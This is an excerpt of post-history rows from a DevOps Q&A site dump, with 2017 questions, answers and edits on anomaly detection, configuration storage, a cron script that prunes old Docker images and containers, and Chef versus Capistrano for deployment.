  <row Id="2200" PostHistoryTypeId="2" PostId="689" RevisionGUID="6fdc6dc8-259a-48f6-9509-7ac3b328f00b" CreationDate="2017-03-27T14:01:32.997" UserId="13" Text="I can think of 3 possibility (Not exactly Riemann metrics based, but around anomaly detection):&#xD;&#xA;&#xD;&#xA;1. Outdated but the most efficient in anomaly detectionI know: [Shyline + Oculus from Etsy](https://codeascraft.com/2013/06/11/introducing-kale/) Both tools available from [etsy's github](https://github.com/etsy/skyline) as Skyline and oculus, check the network graph for more up to date forks.&#xD;&#xA;2. Graphite and checking that the Standard deviation fits in the Holtz Winter's Confidence bands&#xD;&#xA;3.  ELK stack in version 5 with [timelion](https://www.elastic.co/guide/en/kibana/current/timelion.html) which, as above,  allow to compute a standard deviation and alert if it goes out of confidence bands with the proper license." ContentLicense="CC BY-SA 3.0" />
  <row Id="2201" PostHistoryTypeId="2" PostId="690" RevisionGUID="eec44b16-b49d-4463-a2a9-f9f86bfe75a0" CreationDate="2017-03-27T14:20:04.193" UserId="839" Text="I have a requirement to store configuration information on a per environment basis in a tool. &#xD;&#xA;&#xD;&#xA;This is a tool with a GUI for adding/updating configuration values (e.g connection strings). This should have a default value and be able to change this based on different environments.&#xD;&#xA;&#xD;&#xA;There should be an API to retrieve these configuration values during deployment to a particular environment to add to the application.&#xD;&#xA;&#xD;&#xA;I have googled for a while and can't see any tools that would fit this bill. Are there any suggestions?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2202" PostHistoryTypeId="1" PostId="690" RevisionGUID="eec44b16-b49d-4463-a2a9-f9f86bfe75a0" CreationDate="2017-03-27T14:20:04.193" UserId="839" Text="Tool for storing per environment configuration" ContentLicense="CC BY-SA 3.0" />
  <row Id="2203" PostHistoryTypeId="3" PostId="690" RevisionGUID="eec44b16-b49d-4463-a2a9-f9f86bfe75a0" CreationDate="2017-03-27T14:20:04.193" UserId="839" Text="&lt;deployment&gt;&lt;configuration&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2204" PostHistoryTypeId="5" PostId="689" RevisionGUID="c4595995-a886-4347-9681-1fbe68f1f5ec" CreationDate="2017-03-27T15:15:43.703" UserId="13" Comment="added 161 characters in body" Text="I can think of 3 possibility (Not exactly Riemann metrics based, but around anomaly detection):&#xD;&#xA;&#xD;&#xA;1. Outdated but the most efficient in anomaly detectionI know: [Shyline + Oculus from Etsy](https://codeascraft.com/2013/06/11/introducing-kale/) Both tools available from [etsy's github](https://github.com/etsy/skyline) as Skyline and oculus, check the network graph for more up to date forks. Best one I found is [earthgecko/skyline](https://github.com/earthgecko/skyline) with its [doc](http://earthgecko-skyline.readthedocs.io/en/latest/overview.html)&#xD;&#xA;2. Graphite and checking that the Standard deviation fits in the Holtz Winter's Confidence bands&#xD;&#xA;3.  ELK stack in version 5 with [timelion](https://www.elastic.co/guide/en/kibana/current/timelion.html) which, as above,  allow to compute a standard deviation and alert if it goes out of confidence bands with the proper license." ContentLicense="CC BY-SA 3.0" />
  <row Id="2205" PostHistoryTypeId="5" PostId="690" RevisionGUID="fb565692-a247-43e3-ab28-db3620270733" CreationDate="2017-03-27T15:53:29.590" UserId="40" Comment="integrate comment from OPer" Text="I have a requirement to store configuration information on a per environment basis in a tool. &#xD;&#xA;&#xD;&#xA;This is a tool with a GUI for adding/updating configuration values (e.g connection strings). This should have a default value and be able to change this based on different environments.&#xD;&#xA;&#xD;&#xA;There should be an API to retrieve these configuration values during deployment to a particular environment to add to the application.&#xD;&#xA;&#xD;&#xA;I have searched for a while and can't see any tools that would fit this bill. Are there any suggestions?&#xD;&#xA;&#xD;&#xA;**Note**: Currently the settings are in TeamCity variables and deployment is via PowerShell scripts." ContentLicense="CC BY-SA 3.0" />
  <row Id="2206" PostHistoryTypeId="2" PostId="691" RevisionGUID="2c20e3d2-2701-4289-8d61-2ae3d710e6e9" CreationDate="2017-03-27T16:49:34.900" UserId="46" Text="Is there an elegant way or a best practice when it comes to deleting old images from the Docker registry?&#xD;&#xA;&#xD;&#xA;I see a lot of requests/issues here: https://github.com/docker/docker-registry/labels/delete, but didn't find a good/popular solution for it.&#xD;&#xA;&#xD;&#xA;**So, is there a tool or a technique which would help me do that?**&#xD;&#xA;&#xD;&#xA;Also, is there any best practices which you follow while doing it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2207" PostHistoryTypeId="1" PostId="691" RevisionGUID="2c20e3d2-2701-4289-8d61-2ae3d710e6e9" CreationDate="2017-03-27T16:49:34.900" UserId="46" Text="Are there any best practices and/or tools for cleaning old Docker images on a regular basis?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2208" PostHistoryTypeId="3" PostId="691" RevisionGUID="2c20e3d2-2701-4289-8d61-2ae3d710e6e9" CreationDate="2017-03-27T16:49:34.900" UserId="46" Text="&lt;docker&gt;&lt;toolchain&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2209" PostHistoryTypeId="2" PostId="692" RevisionGUID="14d4eace-1c64-437f-b255-bd6fb9a237cf" CreationDate="2017-03-27T16:59:52.407" UserId="743" Text="Can't call it best practice but this is what we use triggered by cron, happy to see better suggestions.&#xD;&#xA;&#xD;&#xA;    echo &quot;safely removing untagged images&quot;&#xD;&#xA;    docker rmi $(docker images | grep &quot;^&lt;none&gt;&quot; | awk '{print $3}')&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing stopped containers&quot;&#xD;&#xA;    docker rm $(docker ps -a -q)&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing old containers&quot;&#xD;&#xA;    docker ps -a | grep 'weeks ago\|months ago\|days ago' | awk '{print $1}' | xargs --no-run-if-empty docker rm&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing old images&quot;&#xD;&#xA;    docker images | grep 'weeks ago\|months ago\|days ago' | awk '{print $3}' | xargs --no-run-if-empty docker rmi&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing old volumes, custom rebuild of martin/docker-cleanup-volumes image&quot;&#xD;&#xA;    docker run -v /var/run/docker.sock:/var/run/docker.sock -v $(readlink -f /var/lib/docker):/var/lib/docker --rm example/docker-cleanup-volumes&#xD;&#xA;    &#xD;&#xA;    echo &quot;native cleanup Docker =&gt; 12&quot;&#xD;&#xA;    docker system prune -f" ContentLicense="CC BY-SA 3.0" />
  <row Id="2210" PostHistoryTypeId="5" PostId="669" RevisionGUID="9e3681e2-0999-4d28-a389-f5769c882cec" CreationDate="2017-03-27T17:11:26.017" UserId="743" Comment="added 157 characters in body" Text="When using Jenkins slave running in container, what are alternatives or &quot;safe&quot; (in terms of security) implementations for [Docker in Docker][1].&#xD;&#xA;&#xD;&#xA;Architecture example:&#xD;&#xA;&#xD;&#xA; 1. Jenkins master running as Docker container&#xD;&#xA; 2. Jenkins slave running as Docker container&#xD;&#xA; 3. Test task executed in Docker container&#xD;&#xA;&#xD;&#xA;Some known alternatives:&#xD;&#xA;&#xD;&#xA; - [DOOD (Docker-Outside-Of-Docker)][2]&#xD;&#xA; - [Jenkins Plugin][3] using Docker API&#xD;&#xA;&#xD;&#xA;Constraints clarification: the idea is to use Jenkins as an orchestrator and Docker for clean environment, the rest of architecture is a subject to change.&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/docker/&#xD;&#xA;  [2]: https://hub.docker.com/r/psharkey/jenkins-dood/&#xD;&#xA;  [3]: https://wiki.jenkins-ci.org/display/JENKINS/Docker+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="2211" PostHistoryTypeId="5" PostId="692" RevisionGUID="d8fff844-3eef-48ae-b545-b2da23908d98" CreationDate="2017-03-27T19:04:48.427" UserId="743" Comment="added 6 characters in body" Text="Can't call it's the best practice but this is what we use triggered by cron, happy to see better suggestions.&#xD;&#xA;&#xD;&#xA;    echo &quot;safely removing untagged images&quot;&#xD;&#xA;    docker rmi $(docker images | grep &quot;^&lt;none&gt;&quot; | awk '{print $3}')&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing stopped containers&quot;&#xD;&#xA;    docker rm $(docker ps -a -q)&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing old containers&quot;&#xD;&#xA;    docker ps -a | grep 'weeks ago\|months ago\|days ago' | awk '{print $1}' | xargs --no-run-if-empty docker rm&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing old images&quot;&#xD;&#xA;    docker images | grep 'weeks ago\|months ago\|days ago' | awk '{print $3}' | xargs --no-run-if-empty docker rmi&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing old volumes, custom rebuild of martin/docker-cleanup-volumes image&quot;&#xD;&#xA;    docker run -v /var/run/docker.sock:/var/run/docker.sock -v $(readlink -f /var/lib/docker):/var/lib/docker --rm example/docker-cleanup-volumes&#xD;&#xA;    &#xD;&#xA;    echo &quot;native cleanup Docker =&gt; 12&quot;&#xD;&#xA;    docker system prune -f" ContentLicense="CC BY-SA 3.0" />
  <row Id="2215" PostHistoryTypeId="5" PostId="692" RevisionGUID="99aaa569-4c34-4e65-8e2a-dd770dcb57a0" CreationDate="2017-03-27T20:31:39.093" UserId="743" Comment="deleted 20 characters in body" Text="Can't call it's the best practice but this is what we use triggered by cron, happy to see better suggestions.&#xD;&#xA;&#xD;&#xA;    echo &quot;safely removing untagged images&quot;&#xD;&#xA;    docker rmi $(docker images | awk '/^&lt;none&gt;/{print $3}')&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing stopped containers&quot;&#xD;&#xA;    docker rm $(docker ps -a -q)&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing old containers&quot;&#xD;&#xA;    docker ps -a | awk '/weeks ago|months ago|days ago/{print $1}' | xargs --no-run-if-empty docker rm&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing old images&quot;&#xD;&#xA;    docker images | awk '/weeks ago|months ago|days ago/{print $3}' | xargs --no-run-if-empty docker rmi&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing old volumes, custom rebuild of martin/docker-cleanup-volumes image&quot;&#xD;&#xA;    docker run -v /var/run/docker.sock:/var/run/docker.sock -v $(readlink -f /var/lib/docker):/var/lib/docker --rm example/docker-cleanup-volumes&#xD;&#xA;    &#xD;&#xA;    echo &quot;native cleanup Docker =&gt; 12&quot;&#xD;&#xA;    docker system prune -f" ContentLicense="CC BY-SA 3.0" />
  <row Id="2216" PostHistoryTypeId="2" PostId="693" RevisionGUID="02aa6177-ccf9-4397-97f4-af87afd4d793" CreationDate="2017-03-27T20:36:03.760" UserId="397" Text="I've been reading [Jim Bird's DevOpsSec][1] book, one of the statements in [Chapter 4 - Security as Code][2] is as follows:&#xD;&#xA;&#xD;&#xA;&gt; Agile ideas and principles—working software over documentation, frequent delivery, face-to-face collaboration, and a focus on technical excellence and automation—form the foundation of DevOps. **And Continuous Delivery, which is the control framework for DevOps**, is also built on top of a fundamental Agile development practice: Continuous Integration. *(O'Reilly 2016, ISBN 9781491971413)*&#xD;&#xA;&#xD;&#xA;My understanding of a [control framework][3] was that it declares certain Control Objectives such as:&#xD;&#xA;&#xD;&#xA; - Payments are made only for authorised products and services received.&#xD;&#xA;&#xD;&#xA;This may be satisfied by some process built into the system, and would likely have a number of checks and balances; however, you wouldn't say that that process *is* the Control Framework.&#xD;&#xA;&#xD;&#xA;To me it feels that that sentence should read: &quot;And Continuous Delivery *satsisfies* the Control Framework for DevOps&quot;.&#xD;&#xA;&#xD;&#xA;Am I totally wrong? Is Continuous Delivery the Control Framework for DevOps.&#xD;&#xA;&#xD;&#xA;Or, am I right and Continuous Delivery is not the control Framework for DevOps?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oreilly.com/webops-perf/free/devopssec.csp?download=true&#xD;&#xA;  [2]: https://www.safaribooksonline.com/library/view/devopssec/9781491971413/ch04.html&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Internal_control" ContentLicense="CC BY-SA 3.0" />
  <row Id="2217" PostHistoryTypeId="1" PostId="693" RevisionGUID="02aa6177-ccf9-4397-97f4-af87afd4d793" CreationDate="2017-03-27T20:36:03.760" UserId="397" Text="Is Continuous Delivery the Control Framework for DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2218" PostHistoryTypeId="3" PostId="693" RevisionGUID="02aa6177-ccf9-4397-97f4-af87afd4d793" CreationDate="2017-03-27T20:36:03.760" UserId="397" Text="&lt;terminology&gt;&lt;control-framework&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2219" PostHistoryTypeId="5" PostId="692" RevisionGUID="65e95c9c-fd17-41ef-b960-fede23401b19" CreationDate="2017-03-27T20:36:44.190" UserId="743" Comment="deleted 20 characters in body" Text="Can't call it's the best practice but this is what we use triggered by cron, happy to see better suggestions.&#xD;&#xA;&#xD;&#xA;    echo &quot;safely removing untagged images&quot;&#xD;&#xA;    docker rmi $(docker images | awk '/&lt;none&gt;/{print $3}')&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing stopped containers&quot;&#xD;&#xA;    docker rm $(docker ps -a -q)&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing old containers&quot;&#xD;&#xA;    docker ps -a | awk '/weeks ago|months ago|days ago/{print $1}' | xargs --no-run-if-empty docker rm&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing old images&quot;&#xD;&#xA;    docker images | awk '/weeks ago|months ago|days ago/{print $3}' | xargs --no-run-if-empty docker rmi&#xD;&#xA;    &#xD;&#xA;    echo &quot;safely removing old volumes, custom rebuild of martin/docker-cleanup-volumes image&quot;&#xD;&#xA;    docker run -v /var/run/docker.sock:/var/run/docker.sock -v $(readlink -f /var/lib/docker):/var/lib/docker --rm example/docker-cleanup-volumes&#xD;&#xA;    &#xD;&#xA;    echo &quot;native cleanup Docker =&gt; 12&quot;&#xD;&#xA;    docker system prune -f" ContentLicense="CC BY-SA 3.0" />
  <row Id="2220" PostHistoryTypeId="2" PostId="694" RevisionGUID="213de5ce-47c0-4cf2-8ce5-0045d26c0547" CreationDate="2017-03-27T20:55:14.527" UserId="397" Text="I do agree with [Tensibai's Answer][1] in that SecOps is as much as a buzz-word as DevOps itself and that SecOps is a stepping stone between a siloed organisation and cohesive organisation.&#xD;&#xA;&#xD;&#xA;I have observed the flip side to also be true, that is, if you have an organisation who is operating using a DevOps Model, with DevOps ways of working and following DevOps Practice, they may appoint someone in a SecOps role to integrate [IT Security][2] practice into the model.&#xD;&#xA;&#xD;&#xA;Quite commonly this is branded as DevSecOps or DevOpsSec so as to bridge all three disciplines.&#xD;&#xA;&#xD;&#xA;Further Reading:&#xD;&#xA;&#xD;&#xA; - [DevOpsSec by Jim Bird][3]&#xD;&#xA; - [DevSecCon: A DevSecOps Conference][4]&#xD;&#xA; - [Velocity EU: Continuous Security][5]&#xD;&#xA;&#xD;&#xA;Of the above I am currently reading Jim Bird's book, have had the pleasure of working with [the organizer][6] of DevSecCon in a previous role and had the privalage of attending the Velocity Session in Amsterdam last year.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/a/688/397&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Computer_security&#xD;&#xA;  [3]: https://www.safaribooksonline.com/library/view/devopssec/9781491971413/&#xD;&#xA;  [4]: http://www.devseccon.com/&#xD;&#xA;  [5]: https://www.safaribooksonline.com/library/view/velocity-2016-/9781491958537/video290680.html&#xD;&#xA;  [6]: https://www.linkedin.com/in/francoisraynaud" ContentLicense="CC BY-SA 3.0" />
  <row Id="2221" PostHistoryTypeId="2" PostId="695" RevisionGUID="01a82f11-e4ec-4bd7-8965-8561cae86663" CreationDate="2017-03-27T22:57:04.040" UserId="154" Text="Application deployment is a hard thing to pin down because it has a lot of sub-problems. Config management systems are excellent at modeling tasks which are convergent and work with &quot;what is the desired state of the system&quot;. In the context of app deployment, this is great for things like deploying bits to a machine, managing configuration files, and setting up system services. What it is extremely bad for is things that are inherently procedural, notably database migrations and service restarts. I usually try to put the convergent logic in Chef and let an external procedural tool (usually Fabric in my case) handle the few remaining bits as well as sequencing the actual converges.&#xD;&#xA;&#xD;&#xA;So, basically, you should use both for the pieces they are best at." ContentLicense="CC BY-SA 3.0" />
  <row Id="2222" PostHistoryTypeId="2" PostId="696" RevisionGUID="d75e84b3-d636-4da3-9237-fba4b45d9482" CreationDate="2017-03-28T02:15:32.617" UserId="228" Text="**TL;DR**: Just use Ansbile, it is **both** configuration and deployment tool :)&#xD;&#xA;&#xD;&#xA;There are several types of deployment: &#xD;&#xA;&#xD;&#xA;  - **Application** based (files, archives packages) &#xD;&#xA;&#xD;&#xA;  - **Container** based (includes VMs, Habitat, LXC, Docker)&#xD;&#xA;&#xD;&#xA;  - **Function** based (Micro services / Lambdas / Functions)&#xD;&#xA;&#xD;&#xA;I assume in this case we speak only about application updates on server(s).&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;For deployment you need to have two things happen:&#xD;&#xA;&#xD;&#xA;  1. Correct files or packages need to move to the server. &#xD;&#xA;  2. Configuration and service states need to change.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Now for (1) you can use multiple strategies:&#xD;&#xA;&#xD;&#xA;  - Artifact Repositories / Syncing&#xD;&#xA;  - Package Repositories / Package Managers&#xD;&#xA;  - Version Control System / Updating + Compiling (optionally)&#xD;&#xA;  - File transfer protocols (scp, rsync, ftp)&#xD;&#xA;  - Deployment Tools&#xD;&#xA;&#xD;&#xA;For the (2) you can use:&#xD;&#xA;&#xD;&#xA; - Configuration management tools&#xD;&#xA; - Deployment Tools&#xD;&#xA;&#xD;&#xA;So while the Deployment Tools are a way to do deployment all in one, they are not always the best strategy. Sometimes you want to use combination of these ways for deployment. You most likely already use package managers at least on your servers already. You most likely run configuration tools anyway. The problem with some of the configuration tools was a proper orchestration among multiple servers, but now even Chef and Puppet can do that quite well. Ansible has been always good at this.&#xD;&#xA;&#xD;&#xA;From *personal experience*, I've used all combinations, but currently we use Capistrano for deployment and Ansible sync for configuration management, and VCS and package repositories for file transfers, but there are issues with Capistrano and we are planing to move away from it to unify on Ansible for both deployment, maintenance and configuration management. " ContentLicense="CC BY-SA 3.0" />
  <row Id="2223" PostHistoryTypeId="5" PostId="651" RevisionGUID="f07c27c3-b1f4-401c-8528-8ec1114b00f8" CreationDate="2017-03-28T05:38:16.617" UserId="13" Comment="Name typo" Text="Off the back of my [answer][1] to the question: [How can DevOps help to improve Software Escrow procedures?][2] Tensibai had the question:&#xD;&#xA;&#xD;&#xA;&gt; What would necessitate Capistrano on top of puppet or chef?&#xD;&#xA;&#xD;&#xA;My response was to post a link to [Noah Gibbs' article &quot;Do We Need Both Capistrano and Chef?&quot;][3].  Personally, I still subscribe to Noah's view that it is most appropriate to:&#xD;&#xA;&#xD;&#xA; - use a specialist deployment tool such as Capistrano for deployments.&#xD;&#xA; - use a specialist configuration management tool such as Chef for configuration management.&#xD;&#xA;&#xD;&#xA;The fundamental approach that each type of tool uses to complete its task is very different:&#xD;&#xA;&#xD;&#xA; - **Configuration Management Tools** - are about creating and maintaining the desired state of a system, they are inherently idempotent in nature. Examples of configuration management tools are [Chef][4], [Puppet][5], [Ansible][6], [PowerShell DSC][7], [Salt Stack][8].&#xD;&#xA;&#xD;&#xA; - **Deployment Tools** - are about delivering *versions* of software into a hosting environment, they provide functionality to maintain multiple versions of the software on multiple machines and manage which version is &quot;current&quot;, they are inherently imperative in nature.  Examples of deployment tools are [Capistrano][9], [Octopus Deploy][10], [Deployer][11] and [Command.io][12].&#xD;&#xA;&#xD;&#xA;I do believe that Configuration Management Tools can do the job of deployment tools and in the case of [Immutable Infrastructure][13] they are the most appropriate tool for the job as software versions on the target don't need to be maintained.&#xD;&#xA;&#xD;&#xA;**Question:** Have configuration management tools such as Chef, Ansible and Puppet matured to the point that they are capable of fulfilling both the idempotent and imperative models?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/a/649/397&#xD;&#xA;  [2]: http://devops.stackexchange.com/q/646/397&#xD;&#xA;  [3]: http://codefol.io/posts/why-do-we-need-both-capistrano-and-chef&#xD;&#xA;  [4]: https://www.chef.io/chef/&#xD;&#xA;  [5]: https://puppet.com/&#xD;&#xA;  [6]: https://www.ansible.com/&#xD;&#xA;  [7]: https://msdn.microsoft.com/en-us/powershell/dsc/overview&#xD;&#xA;  [8]: https://saltstack.com/&#xD;&#xA;  [9]: http://capistranorb.com/&#xD;&#xA;  [10]: https://octopus.com&#xD;&#xA;  [11]: https://deployer.org/&#xD;&#xA;  [12]: https://commando.io/&#xD;&#xA;  [13]: https://www.oreilly.com/ideas/an-introduction-to-immutable-infrastructure" ContentLicense="CC BY-SA 3.0" />
  <row Id="2224" PostHistoryTypeId="2" PostId="697" RevisionGUID="83941531-d2ec-488f-ba77-7419a5685841" CreationDate="2017-03-28T06:03:54.147" UserId="311" Text="Any business initiative would get a traction if you show it's relevance to either topline or bottomline of the organization.&#xD;&#xA;&#xD;&#xA;Internal initiatives such as devops can only affect the bottomline. You need to identify the costs of recurring work performed by the individiuals and how automation would reduce that expenditure. &#xD;&#xA;&#xD;&#xA;Even though non-techy managers may not understand the difference between choosing chef over puppet, they have some understanding of Industry trends. You can make them aware of the costs of delays due to builds not being available, costs of regression issues and how your approach can reduce those costs. If you can show tangible plan for improvement in bottomline, and if it is better than the other action items on their plate, you would get a go-ahead.   " ContentLicense="CC BY-SA 3.0" />
  <row Id="2225" PostHistoryTypeId="2" PostId="698" RevisionGUID="3f916b2b-2539-4116-a2a2-9a2cb8295e84" CreationDate="2017-03-28T06:11:51.597" UserId="2" Text="My go-to line of reasoning for people who are unfamiliar (or just mistaken) about the term DevOps boils is down to &quot;delivering business value more frequently&quot;. This, in my experience, is something very few managers are able to object to. They get it.&#xD;&#xA;&#xD;&#xA;If they say something like &quot;we just need someone to straighten out our devops, probably just a few weeks of work; so there's a limit on how much we're going to invest in devops right now&quot; I just try to explain that's like saying &quot;we don't want our company to deliver too much business value. we just need a bit more, but that's it&quot;.&#xD;&#xA;&#xD;&#xA;It's just rhetoric, of course, but I find it's effective, much more so than than telling them to read a book about Toyota." ContentLicense="CC BY-SA 3.0" />
  <row Id="2226" PostHistoryTypeId="2" PostId="699" RevisionGUID="0c62bcd0-a1f9-4ee5-ad7b-7a2374142fd9" CreationDate="2017-03-28T07:14:41.760" UserId="853" Text="A prime use-case for Enterprise IT would be to reinvent their process for **handling Major Incidents** (sometimes called &quot;Incident War-room&quot;) by utilizing the ChatOps practice.&#xD;&#xA;I've captured this and additional use-cases relevant to Enterprise IT - in a blog series: &#xD;&#xA;&#xD;&#xA;https://community.hpe.com/t5/IT-Operations-Management-ITOM/ChatOps-ChatBots-and-Enterprise-IT/ba-p/6924240&#xD;&#xA;&#xD;&#xA;https://community.hpe.com/t5/IT-Operations-Management-ITOM/Chat-Bots-in-the-Enterprise-Part-2/ba-p/6925811&#xD;&#xA;&#xD;&#xA;(and you can also continue to the 3rd part in that series from those links...)&#xD;&#xA;&#xD;&#xA;I'd love to get your comments/feedback." ContentLicense="CC BY-SA 3.0" />
  <row Id="2227" PostHistoryTypeId="2" PostId="700" RevisionGUID="ed298e27-1b6d-4937-99f6-fa18bdd0042c" CreationDate="2017-03-28T08:06:18.267" UserId="13" Text="In my opinion you are right, Continuous Delivery (CD) is not the control framework of Devops, at least it is not the only possible one.&#xD;&#xA;&#xD;&#xA;But in the context of the book you're quoting it gets the most used possibility when you start to include security baseline and assessments as part of the product delivered. &#xD;&#xA;&#xD;&#xA;In a security context, you'll add smoke tests in a post deploy phase to ensure your application is not subject to XSS or Sql injection for example. If any of this tests fail, block any deploy in other environment, mark the deploy as failed and eventually rollback to previous version.  &#xD;&#xA;This enforce the security rules to be satisfied, and in this way act as a control framework to ensure production deploy are 'safe' for known vulnerabilities." ContentLicense="CC BY-SA 3.0" />
  <row Id="2228" PostHistoryTypeId="2" PostId="701" RevisionGUID="d924bb15-e51d-426e-b769-09e1963a2d2a" CreationDate="2017-03-28T10:04:34.727" UserId="13" Text="&gt; One Server to rule them all, One Server to find them,  &#xD;&#xA;&gt; One Server to bring them all and in the outage bind them&#xD;&#xA;&#xD;&#xA;You, Sauron, forged this One Server, in the Darkness of &lt;strike&gt;Mount Doom&lt;/strike&gt; your Datacenter in a desire to rule All applications.  &#xD;&#xA;Hopefully the Fellowship of Devops did unite to tell you:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Gandalf - You shall PAAS][1]][1]&#xD;&#xA;&#xD;&#xA;After a long fight, &lt;strike&gt;Frodon&lt;/strike&gt; the Chaos Monkey has been able to melt your One Server and bring freedom to all applications, driving you to the way of reproducible Servers at the same time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/OAT4s.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="2229" PostHistoryTypeId="5" PostId="648" RevisionGUID="b1d770fe-79f7-4950-81df-aa0546b00611" CreationDate="2017-03-28T10:42:32.920" UserId="40" Comment="edited body" Text="Everything in the previous answers is true, but I think there are some things missing to actually get the approval and commitment from your bosses (BTW: most people only have 1 boss at max ...).&#xD;&#xA;&#xD;&#xA;Sooner or later Mr. Murphy will come along (= *Anything that can go wrong, will go wrong, and it shall go wrong when it shouldn't go wrong*). And at that point some boss(es) will want to get answers to questions like this one:&#xD;&#xA;&#xD;&#xA;&gt; What happened when and why, and which authorized user actually approved it ... upfront?&#xD;&#xA;&#xD;&#xA;And at that point you'll get the real ROI from DevOps-practices you'll have in place ... And/or all of a sudden get all sorts of huge budget approvals to implement what you seem to be looking for.&#xD;&#xA;&#xD;&#xA;Even if it would take too long for Murphy to come by, your company might also run into requirements such as what Richard described in the question &quot;http://devops.stackexchange.com/q/559/40&quot; (those kind of requirements scare CxOs ...).&#xD;&#xA;&#xD;&#xA;But, if you ever have to introduce &quot;DevOps&quot; to somebody who is new to it, it may help them to &quot;warn&quot; them upfront like &quot;***OK, so you want to start DevOps practices, great! But be aware that it is like switching to another religion ...***&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2230" PostHistoryTypeId="5" PostId="701" RevisionGUID="e4aa4f02-25de-4bb5-ab14-1fcee61ed3ff" CreationDate="2017-03-28T11:33:11.027" UserId="13" Comment="deleted 1 character in body" Text="&gt; One Server to rule them all, One Server to find them,  &#xD;&#xA;&gt; One Server to bring them all and in the outage bind them&#xD;&#xA;&#xD;&#xA;You, Sauron, forged this One Server, in the Darkness of &lt;strike&gt;Mount Doom&lt;/strike&gt; your Datacenter in a desire to rule All applications.  &#xD;&#xA;Hopefully the Fellowship of Devops did unite to tell you:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Gandalf - You shall PAAS][1]][1]&#xD;&#xA;&#xD;&#xA;After a long fight, &lt;strike&gt;Frodo&lt;/strike&gt; the Chaos Monkey has been able to melt your One Server and bring freedom to all applications, driving you to the way of reproducible Servers at the same time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/OAT4s.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="2231" PostHistoryTypeId="2" PostId="702" RevisionGUID="9a6aac24-4ba9-4026-890a-51fc53cda88c" CreationDate="2017-03-28T11:44:34.640" UserId="13" Text="To avoid relying on `dind` (out of building new images from a dockerfile which should be ok) I'd look around [Jenkins's kubernetes](https://wiki.jenkins-ci.org/display/JENKINS/Kubernetes+Plugin) plugin.&#xD;&#xA;&#xD;&#xA;It obviously needs to bring to life a kubernetes cluster but allow to have a one time jenkins agent to run the test in a clean isolated environment, and then tear it off. The maintenance costs of the kubernetes cluster should not be greter than maintaining your jenkins slaves. &#xD;&#xA;&#xD;&#xA;The bonus point is that you can version you slaves with specific environment and don't have to tweak around for multiples version of ruby/java/python and let the task choose the proper &quot;environment&quot; by specifying the agent image to use and have a ready to test environment without any tweak pre-test. &#xD;&#xA;&#xD;&#xA;I'd head toward kurbenetes as container scheduler because it is relatively lightweight to configure and maintain.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2232" PostHistoryTypeId="5" PostId="701" RevisionGUID="0f3f9a3c-7254-4e76-ab99-a54640f74ea6" CreationDate="2017-03-28T12:14:11.477" UserId="13" Comment="added 296 characters in body" Text="&gt; One Server to rule them all, One Server to find them,  &#xD;&#xA;&gt; One Server to bring them all and in the outage bind them&#xD;&#xA;&#xD;&#xA;You, Sauron, forged this One Server, in the Darkness of &lt;strike&gt;Mount Doom&lt;/strike&gt; your Datacenter in a desire to rule All applications.  &#xD;&#xA;Hopefully the Fellowship of Devops did unite to tell you:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Gandalf - You shall PAAS][1]][1]&#xD;&#xA;&#xD;&#xA;After a long fight, &lt;strike&gt;Frodo&lt;/strike&gt; the Chaos Monkey has been able to melt your One Server and bring freedom to all applications, driving you to the way of reproducible Servers at the same time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Credits:&#xD;&#xA;&#xD;&#xA; - [Lord Of the Rings][2] of J.R.R. Tolkien &#xD;&#xA; - Picture taken from [CleverCloud presentation](https://fr.slideshare.net/quentinadam/the-end-of-server-management-hosting-have-to-become-a-commodity-keynote-devoxx-fr-2015)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/OAT4s.jpg&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/The_Lord_of_the_Rings" ContentLicense="CC BY-SA 3.0" />
